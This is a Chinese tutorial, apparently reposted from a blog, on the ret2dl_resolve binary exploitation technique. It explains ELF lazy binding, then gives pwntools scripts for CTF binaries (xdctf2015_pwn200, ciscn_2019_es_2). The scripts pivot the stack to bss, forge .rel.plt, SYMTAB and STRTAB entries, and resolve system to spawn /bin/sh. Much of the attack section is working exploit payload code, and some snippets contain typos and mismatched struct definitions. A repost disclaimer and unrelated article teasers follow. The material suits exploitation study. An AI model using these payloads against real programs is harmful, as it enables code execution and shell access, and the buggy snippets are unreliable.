ret2dl_resolve

前言:

ret2dl_resolve 是一种利用漏洞进行攻击的技术,主要针对使用动态链接库的程序。它的核心原理是利用程序的重定位机制,通过构造特定的函数返回地址,来劫持控制流并执行攻击者选择的代码。以下是对 ret2dl_resolve 原理的详细解释:

ret2dl_resolve 攻击的基本思路是:

  • 攻击者利用缓冲区溢出等漏洞,将控制流重定向到一个特定的地址,该地址指向 PLT 中的一个函数(通常是 dl_resolve)。
  • 当程序返回到这个地址时,它会调用 dl_resolve,动态链接器会解析符号并返回实际地址。
  • 攻击者可以通过提供特定的参数(如符号名),使得 dl_resolve 返回攻击者希望调用的任意函数的地址。

具体步骤如下:

  1. 确定目标函数: 攻击者识别出想要调用的函数(例如,system 函数)。

  2. 准备攻击载荷:

    • 攻击者构造一个输入,使得输入中包含返回地址,指向 PLT 中的 dl_resolve
    • 载荷中还需要包含目标函数的符号名(如 /bin/sh)。
  3. 触发漏洞: 将构造的载荷输入到程序中,触发缓冲区溢出或其他漏洞。

  4. 控制流重定向: 当程序执行到返回指令时,它会返回到 dl_resolve

  5. 符号解析dl_resolve 被调用,动态链接器解析符号并返回目标函数的地址。

  6. 执行目标函数: 最终,程序控制流被重定向到攻击者选择的函数,完成攻击。

地址获取:

要想理解这个,需要先手动完成对应的地址的查找过程,后续才能知道如何进行攻击:

当我们需要call put的时候,这个时候其对应的地址为plt的地址:

可以看到对应的地址为0x80483f0

这其中有几个参数需要注意:

relloc_arg:0x10

link_map:0x804a004

_dl_runtime_resolve地址:*(0x804a008)

上面jmp的地址0x804a014对应的是gotplt地址,其报存地址为0x80483f6,即当前命令的下一条地址。

查看gotplt表地址为0x804a000:

第一个link_map地址为GOTPLT的偏移+4地址为0xf7ffda30

_dl_runtime_resolve为GOTPLT的偏移+8地址为0xf7fdbeb0

查看link_map地址内容,解析如下

struct link_map {struct link_map *l_next;      // 指向下一个 link_map 结构的指针struct link_map *l_prev;      // 指向前一个 link_map 结构的指针void *l_addr;                 // 共享库的基地址char *l_name;                 // 共享库的名称(路径)struct ElfW(Dyn) *l_ld;       // 指向 ELF 动态段的指针void *l_real;                 // 实际的共享库地址(可能用于不同的加载器)void *l_reserved;             // 保留字段,用于未来扩展int l_refcount;               // 引用计数,跟踪库的使用情况// 可能还有其他字段,依赖于实现
};

对照表可以看到对应偏移为:

l_addr -> link_map+0x4

l_ld -> link_map+0x8 -> 0x8049f14

由于这里我们只获取当前elf的解析地址,所以我们不需要去解析其下一个link_map

 对应的l_ld为0x8049f14,对应的区段为.dynamic

.dynamic 节包含动态链接器所需的信息,以便在程序运行时进行动态链接。这包括共享库的路径、重定位信息、符号表的地址等。

然后查看.dynamic对应的地址解析:

对应的我们需要关心STRTAB,SYMTAB,JMPREL

STRTAB: 存储符号名和其他字符串,支持符号表的名称查找。

SYMTAB: 存储符号的信息,提供符号的地址和类型等信息。

JMPREL: 存储跳转重定位信息,支持动态链接的函数调用。

这里我们对应上地址为

STRTAB -> 0x8048298

SYMTAB -> 0x80481d8

JMPREL -> 0x8048364

 对应的我们可以从区段表中看到每个表对应的区段

 上面我们得到了relloc_arg为0x10,这里需要计算对应的Elf32_Rel指针为rel.plt+relloc_arg

0x8048364+0x10 = 0x8048374

struct Rel {Elf64_Addr r_offset;  // 偏移量Elf64_Xword r_info;   // 类型和符号索引
};

参考上面的机构我们得到 

r_offset -> 0x804a014

r_info -> 0x307

  r_info 中提取的符号索引,通常是 r_info >> 8。

0x307>>8=3,然后SYMTAB 表起始0找到第三个0x8048208,并获取对应偏移0x1a

然后使用 STRTAB -> 0x8048298 + 偏移就可以得到对应的字符串地址

同样的 SYMTAB -> 0x80481d8中对应的第一位为偏移,第二位为对应的函数地址

 查看导入函数有8个,正好为上面的8个,由于其为外部导入函数,所以地址为0

查看另外三个,可以看到对应的为其函数地址

在动态链接库查找该函数后,把地址赋值给rel.plt+relloc_arg的r_offset -> 0x804a014:指向对应got表的指针,赋值给GOT表后,把控制权返还给read。 

执行完成后 

然后我们需要了解下_dl_runtime_resolve函数,其底层调用的是_dl_fixup,其具体的执行过程如下:

1. 获取重定位信息 在执行动态链接的程序时,_dl_fixup 首先会访问重定位表(如 JMPREL),获取需要重定位的符号信息。

2. 解析符号名 对于每个重定位条目,_dl_fixup 会提取符号索引,并使用该索引在符号表(SYMTAB)中查找符号名。这通常使用字符串表(STRTAB)来获取实际的符号名称。

3. 查找符号地址 一旦得到了符号名,_dl_fixup 将在加载的共享库中查找该符号的地址。这一过程通常由动态链接器完成,动态链接器会访问符号哈希表(如 DT_HASH)以快速定位符号。

4. 更新跳转表 找到符号地址后,_dl_fixup 会将该地址更新到过程链接表(PLT)或其他需要重定位的地址。这使得后续对该函数的调用可以正确地跳转到动态库中加载的实现。

利用:

所以以上可以知道_dl_fixup和我们上述的过程一样获取到了puts函数名称后,会通过这个符号名获取到其对应lib下的真实地址,然后更新GOT表下对应函数的指针即可

所以理论上我们只要能修改.dynstr对应的函数名称就可以完成对不同函数地址的索引,但是dynstr是不可写的,所以我们没有办法通过修改dynstr来达到获取任意函数地址的想法

所以需要我们伪造rel.plt表和symtab表,并且修改reloc_argc,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,首先为了更好的控制栈,我们需要重新申请一片可写地址构建栈

修改栈顶:

使用命令ROPgadget --binary ciscn_2019_es_2 |grep leave

leave 指令用于清理当前函数的栈帧。它的主要功能是将栈指针恢复到调用函数的状态,并释放局部变量的空间。

leave  = mov esp, ebp; pop ebp; 

mov esp, ebp: 将栈指针 (esp) 设置为基指针 (ebp),准备返回到调用者的栈帧。

pop ebp: ebp 寄存器的值被更新为调用者栈帧的基指针,且esp+4指向返回地址;

ret从栈中弹出返回地址,将其加载到指令指针(EIP)中,并跳转。

寄存器ebp,基址寄存器,也叫做栈底寄存器。

寄存器esp,是栈顶寄存器。

正常情况下执行到ret的时候,esp指向的数据弹入ebp,ebp中存的数据改变,因而指向了父函数的栈底,又由于pop指令除了弹出数据外还会将esp的指向下移,所以esp此时指向了函数的正常返回地址

esp保存的为跳转地址,ebp保存的为父函数栈底地址,即:

ret执行结束跳转到esp:0x0804862a地址,并且父函数栈底为ebp:0xffffcef8 -> 0xffffcf10

 

 并且对应的0xffffcf10-0x4的位置就是下一个返回地址

所以进行改造,我们需要将返回地址设置为我们需要返回的地址,并且将栈底修改到可控的栈地址中,即esp为0x8048562,esp-0x4即栈底位置修改到执行栈空间中,这里只要我们能获取到当前使用的栈地址,就可以使用leave和ret跳转到指定地址

此处我们设置如下payload:

payload = b'aaaa' + p32(system_addr) + p32(0xdeadbeef) + p32(buf_addr + 0x10) + b'/bin/sh\0' + b'\0' * (0x28 - 4 * 4 - 8) + p32(buf_addr) + p32(leave_ret)

当执行完p32(leave_ret)即leave后,esp=ebp+0x4(父函数返回地址),ebp指向0xffa096f0->0x61616161

由此我们可以看到我们在覆盖栈的时候我们需要覆盖父函数地址和对应的父函数栈底地址,对应为esp和esp-4地址

跳转bss段:

为了更直观的感受,这里用xdctf2015_pwn200进行讲解

溢出过程就不讲解了,主要讲解栈的布置,首先我们要调用read,将我们的payload写入到指定地址,这里为bss段,然后通过调用链最终跳转到bss段的payload的代码执行,测试代码如下

from pwn import *                                context.log_level = 'debug'conn = process('./bof')                                                                                                         
elf = ELF('./bof')                                                                                                                                   
read = elf.plt['read']     bss = 0x0804a028                                                                     
stack_size = 0x800
fake_stack = bss + stack_size# gadgets
pop_3time = 0x08048629  # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x0804862b # pop ebp ; ret
leave_ret = 0x08048445  #leave ; ret# stack pivoting
gdb.attach(conn, 'b *(0x08048517)')   
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)conn.sendline(payload)
conn.interactive()

具体的执行流程如下:

1.0x8048390  read 其中0x8048629为执行完read返回地址,后面的p32(0) + p32(fake_stack) + p32(0x100)为对应的三个参数类似于read(0, &BSS, BufSize)

2.此处会等待获取输入数据,此时我们输入aaaaaaa

3.0x8048629  pop esi ; pop edi ; pop ebp ; ret 此处主要为了跳过read中的三个参数

4.0x804862b pop ebp ; ret 此处主要将0x0804a824地址放入ebp中

5.0x8048445 leave ; ret (mov esp, ebp; pop ebp; ret)最后将0x0804a824传入esp,执行pop ebp,此时esp+4为0x0804a828为返回地址,正好跳入bss区段中

调用write函数:

通过上述的方法我们就可以调用到第二个payload,就是我们放到bss段中的代码,下面我们可以编写一个write打印指定字符串

首先我们用最简单的方法调用write,直接通过plt获取地址

# 1
# write binsh
write = elf.plt['write']  payload = p32(write) + p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()

查看bss段可以看到具体执行write(1,*0x804a8a8,0x8),由于bss区段地址固定,我们可以很好的构建出参数地址 

 

利用plt调用_dl_runtime_resolve:

下面我们使用_dl_runtime_resolve来动态调用write

plt = 0x08048370  # the addr of .plt sectionpayload = p32(plt) + p32(0x20)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()

正常来说应该首先跳转到write的PLT地址,然后push 0x20,此时relloc_arg为0x20,然后jmp到_dl_runtime_resolve:

我们这里由于提前push了0x20 所以可以跳过上面的这步,直接跳转到_dl_runtime_resolve地址,如何获取_dl_runtime_resolve地址,只需要调用plt地址,进入_dl_runtime_resolve函数后为我们配置的参数_dl_runtime_resolve(0x20,0),其中0也为完成的返回地址

Elf32_Rel指针为rel.plt+relloc_arg,即0x08048324 + 0x20 = 0x08048344

0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c

 STRTAB -> 0x0804826c + 偏移就可以得到对应的字符串地址

伪造.rel.plt:

在伪造.rel.plt前我们首先要了解其结构,其存储跳转重定位信息

typedef struct
{Elf64_Addr r_offset; /* Address */Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

然后我们查看对应的信息

 

可以看到地址为0x804a01c info为0x607 

由于relloc_arg为0x20,Elf32_Rel指针为rel.plt+relloc_arg,所以我们需要伪造Elf32_Rel的时候需要fake_stack + 24 - rel.plt其中24为bss的偏移

这样我们便伪造了 Elf32_Rel,执行时候会跳转到我们伪造的Elf32_Rel,然后获取info为0x607,然后0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c,最后STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址

伪造SYMTAB:

伪造SYMTAB,就是为了让relloc_arg偏移+SYMTAB为我们的BSS地址,由于SYMTAB没有越界检查,所以我们可以使其跳转到我们的bss段

dynsym = 0x080481ccalign = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])fake_write_sym = flat([0x4c, 0, 0, 0x12])payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

其中注意align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf),由于SYMTAB是16字节对齐,必须使其跳转到的地址为16字节对齐后的数据

这段代码中的 & 0xf 操作是为了计算 fake_stack + 32 - dynsym 的地址与 16 字节对齐后的偏移量。 具体原理如下:

  • & 0xf 是一个按位与运算,它将 fake_stack + 32 - dynsym 的二进制表示与 0xf (即 1111) 进行按位与运算。
  • 0xf 的二进制表示为 1111,它可以用来屏蔽掉 fake_stack + 32 - dynsym 的低四位。
  • 按位与运算的结果将保留 fake_stack + 32 - dynsym 的高位,并将低四位清零。

 最后计算的r_info为(fake_stack + 32 + align - dynsym)<< 8 | 0x7 这里是否| 0x7不会影响最后>>8的结果,| 0x7:将低 8 位设置为 0x07,仅表示特定的重定位类型

通过我们构造的r_info,就会跳转到我们自己定义的fake_write_sym = flat([0x4c, 0, 0, 0x12]),进而去STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址

伪造STRTAB:

下面就是需要伪造具体的字符串地址

dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'write\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

这个就很好理解了,主要就是如下两行代码

st_name = fake_sym_addr + 0x10 - dynstr

fake_write_sym = flat([st_name, 0, 0, 0x12])

SYMTAB为0x10大小,所以需要+0x10

最后执行STRTAB -> 0x0804826c + fake_sym_addr + 0x10 - 0x0804826c 就可以跳转到我们bss段中的write字符串

这就可以完整的伪造了.rel.plt,SYMTAB,STRTAB三个表,通过write字符串获取对应的地址并通过ROP调用

最后就是把write字符串换成system就并且修改为system调用函数就完成了payload的构建,可以调用执行命令

dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = p32(st_name) + p32(0) + p32(0) + p32(r_info)payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(fake_stack+0x80) + p32(0x0) + p32(0)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
payload += fake_write_sym
payload += b'system\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)

总结:

总结一下其实我们就是伪造.rel.plt,SYMTAB,STRTAB三个表,

1.首先需要确定是否为Full RELRO禁用延迟绑定,如果是则无法利用该方法,否则可以使用,

2.需要通过漏洞调用read方法将我们的payload写入bss段,然后跳转到bss段执行

3.然后首先需要跳转到plt即调用_dl_runtime_resolve方法,然后通过计算将relloc_arg设置为我们bss段的伪造的Elf32_Rel

4.然后需要伪造SYMTAB,需要我们将伪造的Elf32_Rel中的r_info计算为刚好偏移到我们BSS段中伪造的SYMTAB表

5.然后伪造STRTAB,通过伪造SYMTAB的偏移地址到我们BSS段payload的system字符串地址即可

6.最后添加system(const char * command)调用参数即/bin/sh,就完成了通过system字符串获取对应地址并传入参数并执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/149977.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

[oeasy]python035_根据序号得到字符_chr函数_字符_character_

字符(character) 回忆上次内容 上次了解了ord函数 ord 的意思是 ordinal(序号) ord函数 可以 根据字符得到序号 那么 可以 反过来 吗&#xff1f; 根据序号 得到字符可以 吗&#xff1f;&#x1f914; ord的逆运算 首先进入游乐场 ord 根据参数"h" 得到序号104 chr…

EtherCAT转Profient协议网关简述

Profinet 转 EtherCAT 的连接与通信问题一直是许多人关注的焦点&#xff0c;也常常给人们带来诸多困惑。在此&#xff0c;我们将深入剖析这一问题&#xff0c;并为大家提供切实可行的解决方案。WL-PN-ECATM型设备在这方面表现卓越&#xff0c;能够有效解决这一难题。接下来&…

视频制作软件哪个好?前十名推荐!

在视频制作领域&#xff0c;选择合适的软件是提升创作效率和作品质量的关键。本文将根据软件的适用人群&#xff1a;新手入门和专业领域&#xff0c;以及推荐的书籍&#xff0c;为您详细介绍视频制作软件的前十名。 新手入门级别&#xff1a; 1.影忆 功能特点&#xff1a;新手入…

实现领域驱动设计(DDD)系列详解:集成限界上下文

一个项目中通常存在着多个限界上下文&#xff0c;并且我们需要在它们之间进行集成。 在上下文映射图中存在两种主要形式&#xff1a;一种是通过绘制一些简单的框图来展示它们之间的集成关系&#xff1b;另一种则是通过代码来实现这些集成关系。 到了具体的技术实现&#xff0…

设计模式之备忘录

一、备忘录设计模式概念 备忘录模式&#xff08;Memento&#xff09; 是一种行为设计模式&#xff0c; 允许在不暴露对象实现细节的情况下保存和恢复对象之前的状态。 适用场景 当你需要创建对象状态快照来恢复其之前的状态时&#xff0c; 可以使用备忘录模式。当直接访问对象的…

羽毛球场馆预约系统,便捷管理预约

全国羽毛球运动的热度不断上升&#xff0c;在健身行业中掀起了一股羽毛球热潮。同时羽毛球运动的风靡&#xff0c;也吸引了不少人入局&#xff0c;各种大大小小的羽毛球馆不断出现&#xff0c;为大众的羽毛球喜好提供了场地。 随着互联网的发展&#xff0c;羽毛球馆也开始向线…

双控开关接入NVBoard

导入NVBoard git仓库&#xff1a;https://github.com/NJU-ProjectN/nvboard 按照ysyx手册的要求&#xff0c;初始化NVBoard项目。 由于GitHub在国外&#xff0c;可能会超时无响应&#xff1a; 解决方案是修改代理。 当前的运行环境是VM VirtualBox虚拟机&#xff0c;网卡是…

豆包PixelDance:超越Runway和Sora的AI视频模型出炉

2024年9月24日&#xff0c;北京——字节跳动在火山引擎发布会上&#xff0c;震撼发布了两款AI视频模型&#xff1a;豆包视频生成的PixelDance模型和Seaweed模型&#xff0c;标志着AI视频技术迈入了一个全新的纪元。今天&#xff0c;我们将聚焦于豆包PixelDance模型&#xff0c;…

ffplay播放器研究分析

ffplay研究分析意义 ffplay.c是FFmpeg源码⾃带的播放器&#xff0c;调⽤FFmpeg和SDL API实现⼀个⾮常有⽤的播放器。 例如哔哩哔哩著名开源项⽬ijkplayer也是基于ffplay.c进⾏⼆次开发。 ffplay实现了播放器的主体功能&#xff0c;掌握其原理对于我们独⽴开发播放器⾮常有帮助…

加固与脱壳01 - 环境搭建

虚拟机 VMWare 多平台可用&#xff0c;而且可以直接激活&#xff0c;需要先注册一个账号 https://support.broadcom.com/group/ecx/productdownloads?subfamilyVMwareWorkstationPro KALI 类Ubuntu系统&#xff0c;官方提供了 vmware 版本&#xff0c;直接下载就可以使用。…

Vue3:element-plus el-Table列表合计处理显示字符串类型/计算合计数值

需求整理 1.使用element组件库中的 el-table组件实现图上 底部当前页合计的功能。在一般的情况下&#xff0c;只需要计算数值部分的值&#xff0c;因为组件中的方法中处理的就是将值的类型转换成数值类型&#xff0c;像string类型的字符串的话&#xff0c;在进行转换的时候会出…

认识URL

目录 url定义 定义 实例 url组成 组成 大家看到这时是否会有疑问&#xff1a;我们常用的端口号8080和http默认端口号有什么关系&#xff1f; url定义 定义 url就是统一资源定位符&#xff0c;简称网址。目的是使用url用于访问网络上的资源 实例 url组成 组成 实例&a…

微信小程序开发第八课

一 公告 1.1 微信小程序端 #js###const api require("../../config/settings.js") Page({data: {noticeList: [{title: 公告标题1,create_time: 2024-04-25,content: 公告内容描述1&#xff0c;公告内容描述1&#xff0c;公告内容描述1。, // 可以根据实际情况添加…

如何用Stable Diffusion XL模型,绘制精致的二次元插图,学完就能用!

哈喽大家好&#xff0c;我是画画的小强&#xff0c;持续分享AI相关知识干活。 今天给大家推荐一款Stable Diffusion XL二次元模型&#xff0c;这款模型在C站的下载排行很高&#xff0c;而且质量绘制出的二次元人物和场景都非常的棒&#xff01;那么首先介绍一些什么是Stable D…

火了!清华大学终于把Python整理成动画片了,教学通俗易懂,学完即可就业!

在当今人工智能时代&#xff0c;编程技能的重要性日益凸显。而Python作为一门广泛应用且易于学习的编程语言&#xff0c;就受到了众多学习者的青睐。 清华大学&#xff0c;作为国内顶尖的高等学府&#xff0c;其教育资源与师资力量无需多言。这部动画版教程&#xff0c;正是集…

Frontiers出版社系列SCISSCI合集

【SciencePub学术】本期&#xff0c;小编根据WOS数据库&#xff0c;整理了一下Frontiers出版社系列的SCI&SSCI合集&#xff0c;以供各位学者投稿参考&#xff01; 来源&#xff1a;WOS数据库 Frontiers系列期刊中&#xff0c;Frontiers in Immunology以其5.7分的影响因子位…

st7735调试记录

由于该模块陪我已经超过十年&#xff0c;最近想起来学习下lvgl&#xff0c;于是乎将其拿出来&#xff0c;尝试使能该模块从而学会lvgl 第一步肯定是找到资料确定下该模块是否好用。于是到网络上找到如下资料进行验证&#xff1a; https://pan.baidu.com/s/1CEunLuGUqLABR6I0UZ…

海外云手机在电商运营中的优势解析

近年来&#xff0c;海外云手机被越来越多人熟知&#xff0c;凭借云计算与电子商务的结合&#xff0c;成为出海电商企业高效、灵活的运营工具。本文将从多个角度详细解析海外云手机在电商运营中的主要优势。 一、成本节约 相比传统出海电商所依赖的实体设备如手机和电脑&#xf…

RPC框架开发——理解项目功能

目录 一、RPC的概念 二、使用分布式架构 三、进一步改进 四、最终框架 一、RPC的概念 RPC&#xff08;Remote Procedure Call&#xff0c;远程过程调用&#xff09;是一种通信机制&#xff0c;使得客户端能够像调用本地函数一样调用远程服务器上的函数。本质上是客户端需要…

均衡功能,保障安全丨基于极海 G32A1445 汽车通用 MCU 的 BMU 应用方案

BMS电池管理系统是每个电动汽车车企不断优化改进的应用产品&#xff0c;其组成中的BMU用于实现电流检测、绝缘检测、SOC估算、容量累积、报警功能、充放电管理、远程监控等功能。BMU组成包括微控制器系统、充放电管理单元、CAN通信网络单元&#xff08;采集所有从控单体电池信息…